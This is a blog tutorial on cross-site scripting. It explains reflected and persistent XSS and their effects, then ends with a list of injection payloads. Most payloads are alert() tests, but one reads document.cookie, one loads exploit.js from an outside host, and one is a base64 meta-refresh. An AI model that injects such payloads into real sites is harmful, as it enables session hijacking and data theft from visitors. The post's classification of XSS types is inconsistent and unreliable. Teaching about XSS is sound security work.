Friday, 1 November 2013

Cross Site Scripting



What is Cross Site Scripting?
            Cross-Site scripting also known as XSS. XSS is one of the most common vulnerable web attacks. XSS loopholes target scripts embedded in a page which are executed on the client-side web browser rather than on the server-side. XSS is internet security loopholes of client-side scripting languages such as HTML, JavaScript PHP. The approach of XSS is to use client-side scripts of a web application to execute in the manner desirable by the attacker. Such as administration can embed a script in a page which can be executed every time the page is loaded
                          XSS is the most common security loophole in website today. This should not be the case as the XSS is very easy to find out and easy to fix also. XSS loopholes can have result such as tampering and sensitive data theft.
Concepts of XSS
  • XSS is a Web-based attack acted on vulnerable Website and web application
  • In XSS attacks, the victim is the user who is browsing that webpage.
  •  In XSS attacks, malevolent content is delivered to users using JavaScript
Elaborate Cross-Site Scripting
                An XSS vulnerability when Web-site take data from users and dynamically include without first properly validating the data.
         XSS vulnerabilities allow an attacker to execute a script and display content in a victim user's browser XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable Web site and application. Also XSS is enabled by the vulnerable pages in a Web application. The command of an XSS vulnerability lies in the fact that the infected code executes in the vulnerable page of the victim's session, allowing the hacker to bypass easily security restrictions.

XSS Attack Examples
               There are many ways in which an attacker can attract a victim into starting a reflective XSS request. Example, the attacker could send the victim a misleading email with a link containing infected JavaScript. If the victim clicks on the link, the HTTP request is started from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then diverted back to the victim's browser, where it is used in the context of the victim user's session. 




Types of Cross Site Scripting Attacks
XSS attacks are almost always classified into 2 types:
1.     Non-persistent (temporary method)
2.      Persistent (stored method)
3.      DOM.
4.      Filter Evasion Techniques.
5.      Reflected methods






Persistent XSS Attack

      Suppose a Web page that allows users to enter their name which is displayed on each user’s profile page. The page stores each user name in a local database. An attacker notices that the Web application fails to clean the user name field and inputs infected JavaScript. When other users view the attacker’s profile page, the infected script automatically executes in the context of their session.

 









When hacker achieve in exploiting XSS vulnerabilities, they can approach to account stuff. They can also diffusion Web worms or access the victim’s computer and view the victim’s browser history or control the system remotely. After gaining control to the victim’s system, hacker can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, a hacker can do
·         Hijack an account
·         Spread Web worms
·         use browser history
·         Control the browser remotely
·         Scan and attack website and web applications

Then we have some scripting codes over there to implement the persistent XSS injection.
<script>alert(’hacked_by_jaggikhanna’);</script>
<script>alert(“hacked_by_jaggikhanna’’)</script>
<script>alert(document.cookie);</script>
<script>alert("jaggikhanna");</script>
<script src="http://www.jaggikhanna.com/exploit.js"></script>
<img src="javascript:alert(‘jaggi');">
<iframe src='vbscript:alert("hacked_by_jaggi’")'>
<body onload="alert(' hacked_by_jaggi’');">
<a href="#" onmouseover="alert(' hacked_by_jaggi’');">Cool link</a>
<input type="text" size="20" onfocus="alert(' hacked_by_jaggi’');">
<span style="background-image:url(javascript:alert(' hacked_by_jaggi’'))">
<span style="x:expression(alert(' hacked_by_jaggi’'))">
<link rel="stylesheet"  href="http://www.jaggi.com/exploit.css">
<meta http-equiv="refresh" content="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFgorvamNTJyk7PC9zY3JpcHQ+">                
Normally put, XSS mix the injection of infected code into a website. It is the most general method of attack at the time, mostly big sites will contain at least one XSS vulnerability page. However, there is more than one type of XSS available but the most common type known as "none persistent" XSS.

0 comments:

Post a Comment